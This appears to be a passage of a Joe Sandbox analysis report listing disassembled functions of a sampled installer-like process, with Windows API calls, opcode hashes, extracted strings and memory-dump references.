Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7fd30b7f604787243034e9ae8ca9e883f8b59048fdd224a85e88beeed1254010
Instruction ID: b9190f10353f113874f9eb7eb36116c9c9c7edb7f2d34ee78feb4c539db5c4fa
Opcode Fuzzy Hash: 7fd30b7f604787243034e9ae8ca9e883f8b59048fdd224a85e88beeed1254010
Instruction Fuzzy Hash: 6EE092325102356BEB233B75AD09B5B364DAF417E2F1E8120FC45DA499EB60EC0082E5

Uniqueness

Uniqueness Score: -1.00%

Function 6A547B40 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,AA831995,?,Function_0006C150,000000FF), ref: 6A547B6F

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7e8bc90ca0625de39e08c321f6686ae689c0c02f260803a521b68361fe0a960e
Instruction ID: 571e188d4e81717fcc1f33a2441be73c80c23e7be728bf1bdf53bcd162ff127a
Opcode Fuzzy Hash: 7e8bc90ca0625de39e08c321f6686ae689c0c02f260803a521b68361fe0a960e
Instruction Fuzzy Hash: 10E09271644548FFC701CF54CC40F56BBF8F709B10F00826AF915D3780DB35A8008A90

Uniqueness

Uniqueness Score: -1.00%

Function 6A57B1F4 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6A57B1FB

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 51388a608af750e6ec3b746c4b2557529f18d8af9b8df78861a8193f458576a3
Instruction ID: 04a400e3efbbac26d0d207476f4077cca5c3388d5cb83e921166a1caed5fd60b
Opcode Fuzzy Hash: 51388a608af750e6ec3b746c4b2557529f18d8af9b8df78861a8193f458576a3
Instruction Fuzzy Hash: 63E075B6C0120DAADB11CFE4C449BEFBBF8AB44314F514426D245E6181EB789745CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00362F72 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bdc15e4772eea87ccb0fd809e0eb6202741beddf24f2da53a78ee441bd9d69a
Instruction ID: a06259fbdf9bb340a95f39ce170a4638efd7e3e9d1daa778e1b66a5a23cb7909
Opcode Fuzzy Hash: 5bdc15e4772eea87ccb0fd809e0eb6202741beddf24f2da53a78ee441bd9d69a
Instruction Fuzzy Hash: 6FE0EC31901A366B9A335A66C906B5B7B78AE40B61B0B8110BC44AF159CA60EC00C6E2

Uniqueness

Uniqueness Score: -1.00%

Function 0035F43D Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0035F444

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: a095429cd9a1a2a519bbe8a99bf41be4aea9cc9ccc4654bd8563d24f2e123013
Instruction ID: 4357e4f739b215c2d293b4b387217ad814479b91855591de43c5226c88c6844c
Opcode Fuzzy Hash: a095429cd9a1a2a519bbe8a99bf41be4aea9cc9ccc4654bd8563d24f2e123013
Instruction Fuzzy Hash: 08E07576C0120E9ADB01DFD4C556FEFB7F8AB04300F50446AA205EA141EA7457858BA1

Uniqueness

Uniqueness Score: -1.00%

Function 001B8720 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?), ref: 001B872B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 1ec8f1bf439f5dd652dc2ecadc77982944ca750996f9043b8eebc5ee022d1237
Instruction ID: 44c7b2a27d62b3372c66f073bad4de31f09afe79dc468e357cfd8d646c936aa6
Opcode Fuzzy Hash: 1ec8f1bf439f5dd652dc2ecadc77982944ca750996f9043b8eebc5ee022d1237
Instruction Fuzzy Hash: 4AC08C3020122087C7304B18B948B8232DC5B04B00F014449E409C3600CB70EC008654

Uniqueness

Uniqueness Score: -1.00%

Function 002D4B70 Relevance: 1.3, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(002D45F3,00000000), ref: 002D4B70

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 816c9c9cc4f827795a6cd19986d526834ba3a3997742f20ff002b7fe6a6b3af5
Instruction ID: ace8671ab90dc799fdf2dda2e03569ba2c3b2f4b51420d1649ff0de68928208c
Opcode Fuzzy Hash: 816c9c9cc4f827795a6cd19986d526834ba3a3997742f20ff002b7fe6a6b3af5
Instruction Fuzzy Hash: 7621D57662010A9BDB21AF18E8027EA7798EB55321F004267FD05C7391D775ECB1CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 002F06F0 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,DF534560,00000000,?,00000000,003BA993,000000FF,?,002D2ABC,?,00000000,00000000,?,0000000D,0000000E), ref: 002F0729

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 82de4b4429758a08bd9ec81312e59570533ecda33c0eeacec533ef684274208e
Instruction ID: e0edfeafbda239fd9cbc472036b812041d1286eaa018235328f7b5a1a90640ba
Opcode Fuzzy Hash: 82de4b4429758a08bd9ec81312e59570533ecda33c0eeacec533ef684274208e
Instruction Fuzzy Hash: 1F112A71904A49DFD711CF68C944B9AF7F8EB09770F1087AAE429D76E1E775A9008F80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 002C2ED0 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 419fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

FindFirstFileW.KERNEL32(?,?,?,00000001), ref: 002C3272
FindClose.KERNEL32(00000000), ref: 002C32A0
FindClose.KERNEL32(00000000), ref: 002C3329

Strings

No acceptable version found. It must be installed from package., xrefs: 002C36F6
An acceptable version was found., xrefs: 002C36EF
No acceptable version found. It must be downloaded., xrefs: 002C36FD
No acceptable version found. It must be downloaded manually from a site., xrefs: 002C3704
No acceptable version found. It is already downloaded and it will be installed., xrefs: 002C3712
Not selected for install., xrefs: 002C3720
No acceptable version found., xrefs: 002C3719
No acceptable version found. Operating System not supported., xrefs: 002C370B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Find$CloseInit_thread_footer$FileFirstHeapProcess
String ID: An acceptable version was found.$No acceptable version found.$No acceptable version found. It is already downloaded and it will be installed.$No acceptable version found. It must be downloaded manually from a site.$No acceptable version found. It must be downloaded.$No acceptable version found. It must be installed from package.$No acceptable version found. Operating System not supported.$Not selected for install.
API String ID: 544434140-749633484
Opcode ID: a8ecd39a475cf527595940067565cfe3fd998b4ffe121d158b333103465a6509
Instruction ID: c366c88ffc61902ee682fde3ccf294c1f167bfcd6030d62009943126d3f1e93c
Opcode Fuzzy Hash: a8ecd39a475cf527595940067565cfe3fd998b4ffe121d158b333103465a6509
Instruction Fuzzy Hash: CCF19D70A00646CFDB50DF28C848BAEFBB1EF45310F1887A8D8499B391DB74EA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001C3A90 Relevance: 16.1, APIs: 5, Strings: 4, Instructions: 376nativememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001C3EF0: EnterCriticalSection.KERNEL32(0045B428,DF534560,00000000,?,?,?,?,?,?,001C3750,0037454D,000000FF), ref: 001C3F2D

NtdllDefWindowProc_W.NTDLL(?,?,00000001,?), ref: 001C3C64
GlobalAlloc.KERNEL32(00000042,00000000), ref: 001C3D48
GlobalLock.KERNEL32(00000000), ref: 001C3D56
GlobalUnlock.KERNEL32(?), ref: 001C3D7A
NtdllDefWindowProc_W.NTDLL(?,?,?,00000000), ref: 001C3E65

Strings

sd4, xrefs: 001C3C82
}d4, xrefs: 001C3C8F
Ad4, xrefs: 001C3D87
`)up=)u, xrefs: 001C39B6, 001C39D8, 001C3B33, 001C3E1E, 001C3E85

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Global$NtdllProc_Window$AllocCriticalEnterLockSectionUnlock
String ID: Ad4$`)up=)u$sd4$}d4
API String ID: 420742265-4104157136
Opcode ID: 90ab1fc1545e2b714bc6de16d89cc26ab7d17a54b0146cb267b55a185e38766c
Instruction ID: 416c39bd8cc822082ccc00c430f3a91480ffbdfff82ae4f831762ae071783d60
Opcode Fuzzy Hash: 90ab1fc1545e2b714bc6de16d89cc26ab7d17a54b0146cb267b55a185e38766c
Instruction Fuzzy Hash: B3D1BA71900209EFDB11DFA4C848FAFBBB8AF56710F14816DE821AB291D775DE01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 002E0F00 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 394COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

_wcschr.LIBVCRUNTIME ref: 002E0FAC
_wcsrchr.LIBVCRUNTIME ref: 002E108B
_wcsrchr.LIBVCRUNTIME ref: 002E10B5
GetLogicalDriveStringsW.KERNEL32(00000064,?), ref: 002E1110
GetDriveTypeW.KERNEL32(?), ref: 002E112A
Wow64DisableWow64FsRedirection.KERNEL32(00000000,00000000), ref: 002E1327
Wow64RevertWow64FsRedirection.KERNEL32(00000000,00000000), ref: 002E13B1

Strings

]%!, xrefs: 002E10A7

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Wow64$DriveInit_thread_footerRedirection_wcsrchr$DisableHeapLogicalProcessRevertStringsType_wcschr
String ID: ]%!
API String ID: 1522321474-1069524040
Opcode ID: 5bee47e5a8c5b1f5763e2d95d96c6c0d30da173ed2a1997de1fbcdac5d3257ba
Instruction ID: ee1b4429a28d56255bdfa33fa634319204c0e0115dfc65ee24cfaadd9550d963
Opcode Fuzzy Hash: 5bee47e5a8c5b1f5763e2d95d96c6c0d30da173ed2a1997de1fbcdac5d3257ba
Instruction Fuzzy Hash: 8EF1C03190019ACFDB21CF69CC84BADF7B4AF55310F4482E9E91AAB291DB709E94CF50

Uniqueness

Uniqueness Score: -1.00%

Function 001C34E0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 296nativememoryCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(00000000,?,00000001,80070216,?,00000000,?,?,80070216), ref: 001C35F4
GlobalAlloc.KERNEL32(00000042,00000000,?,00000000), ref: 001C36D8
GlobalLock.KERNEL32(00000000,?,00000000), ref: 001C36E6
GlobalUnlock.KERNEL32(?,?,00000000), ref: 001C370A
NtdllDefWindowProc_W.NTDLL(00000000,?,DF534560,00000000), ref: 001C37C1

Strings

sd4, xrefs: 001C3612
}d4, xrefs: 001C361F
Ad4, xrefs: 001C3717

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Global$NtdllProc_Window$AllocLockUnlock
String ID: Ad4$sd4$}d4
API String ID: 3143318529-3820236411
Opcode ID: c1fa3a481c6b210415cf1696b343a19a04f0f7a7087838f1dca2140ec411ffa9
Instruction ID: eac5aa0e375661fcaa9a8fab035f271556dc3e23496fc11637738fb52a23afa1
Opcode Fuzzy Hash: c1fa3a481c6b210415cf1696b343a19a04f0f7a7087838f1dca2140ec411ffa9
Instruction Fuzzy Hash: B9A1ABB1904215ABDB11DFA4CC08FAEBBB9AF56710F14861DF921A7291DB34DE01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 002B5800 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 321fileCOMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002B5858

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

FindFirstFileW.KERNEL32(?,00000000), ref: 002B5958
FindFirstFileW.KERNEL32(?,00000000,0000002A,?,00000000), ref: 002B59F5
FindClose.KERNEL32(00000000,?,00000000), ref: 002B5A1B
FindClose.KERNEL32(00000000,?,00000000), ref: 002B5A65
_wcsrchr.LIBVCRUNTIME ref: 002B5AE9

Strings

t=, xrefs: 002B58FD

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Find$CloseFileFirstInit_thread_footer_wcsrchr$HeapProcess
String ID: t=
API String ID: 2593539128-3560402705
Opcode ID: 579d39311f1699dfb83fc5272dad18ff0dd7e2ac7293d9a57d5e1d0cf3c9f696
Instruction ID: dd4b2b847c868448791cb21508e98bfb708193ce57a835f90586a6bd698fbf0b
Opcode Fuzzy Hash: 579d39311f1699dfb83fc5272dad18ff0dd7e2ac7293d9a57d5e1d0cf3c9f696
Instruction Fuzzy Hash: D1A1E071A10A16DFDB10DF68CC45BEEB7F8FF54324F10422DE815AB280E7B59A048B90

Uniqueness

Uniqueness Score: -1.00%

Function 00296F50 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 313COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00000000), ref: 00297221

Strings

h]4, xrefs: 0029720E
Segoe UI, xrefs: 002971F8
NumberValidationTipTitle, xrefs: 00296FC4
a4, xrefs: 00297219
NumberValidationTipMsg, xrefs: 0029708B
D^4, xrefs: 00297192

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID:
String ID: D^4$NumberValidationTipMsg$NumberValidationTipTitle$Segoe UI$h]4$a4
API String ID: 0-3939893310
Opcode ID: d7253686a7ecc7712c578b9d0357544214bc1d4416493647f9c7412467cc0f8c
Instruction ID: 602b0b4febd12657595fd0b3f477fd748e651a75ae1566ef7c1b0c5299c5939f
Opcode Fuzzy Hash: d7253686a7ecc7712c578b9d0357544214bc1d4416493647f9c7412467cc0f8c
Instruction Fuzzy Hash: 51C1AC71A00709AFEB14CF64CC55BEAB7F5FB89300F008299E556A72D1DB74AA49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A5866DF Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6A57B8D2: GetLastError.KERNEL32(?,00000008,6A583C9D), ref: 6A57B8D6
Part of subcall function 6A57B8D2: SetLastError.KERNEL32(00000000,00000001,FFFFFFFF,000000FF), ref: 6A57B978

GetACP.KERNEL32(?,?,?,?,?,?,6A57C315,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 6A5867A0
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6A57C315,?,?,?,00000055,?,-00000050,?,?), ref: 6A5867CB
_wcschr.LIBVCRUNTIME ref: 6A58685F
_wcschr.LIBVCRUNTIME ref: 6A58686D
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 6A58692E

Strings

utf8, xrefs: 6A58689D

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 072f60b28882f2d1c245b06d34dcffac6b46290870e7ac0e6466c81bef0e9f7f
Instruction ID: 5b7b406194aaa0887f8dffd52b44aa086d825b89cdbeefee97d01a8d0a99187a
Opcode Fuzzy Hash: 072f60b28882f2d1c245b06d34dcffac6b46290870e7ac0e6466c81bef0e9f7f
Instruction Fuzzy Hash: C77105B1610322BAE725DB35CC45EAA73E8EF45304F024439E905EB981EF70ED4087A1

Uniqueness

Uniqueness Score: -1.00%

Function 002F4630 Relevance: 9.2, APIs: 6, Instructions: 203fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000,-00000010,?,DF534560,?,00000000,00000000), ref: 002F4701
FindNextFileW.KERNEL32(?,00000000), ref: 002F471C

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: FileFind$FirstNext
String ID:
API String ID: 1690352074-0
Opcode ID: efa7d842c8ba66010095ad0edd55e17bca6e7e1ff023dd22dbaf49680182ad05
Instruction ID: 64435495e0f058e56dd44ebb06ce289671996c23eec853e610b84713d902f47c
Opcode Fuzzy Hash: efa7d842c8ba66010095ad0edd55e17bca6e7e1ff023dd22dbaf49680182ad05
Instruction Fuzzy Hash: 3F715771D0128DDFDB11DFA8C848AEEBBB8FF09314F148269E915AB291DB749A04CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00348E85 Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00348DA1,00000000,?,00348F39,00000000,?,?,001C5514,?), ref: 00348E87
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000,?,?,001C5514,?), ref: 00348EAE
HeapAlloc.KERNEL32(00000000,?,?,001C5514,?), ref: 00348EB5
InitializeSListHead.KERNEL32(00000000,?,?,001C5514,?), ref: 00348EC2
GetProcessHeap.KERNEL32(00000000,00000000,?,?,001C5514,?), ref: 00348ED7
HeapFree.KERNEL32(00000000,?,?,001C5514,?), ref: 00348EDE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

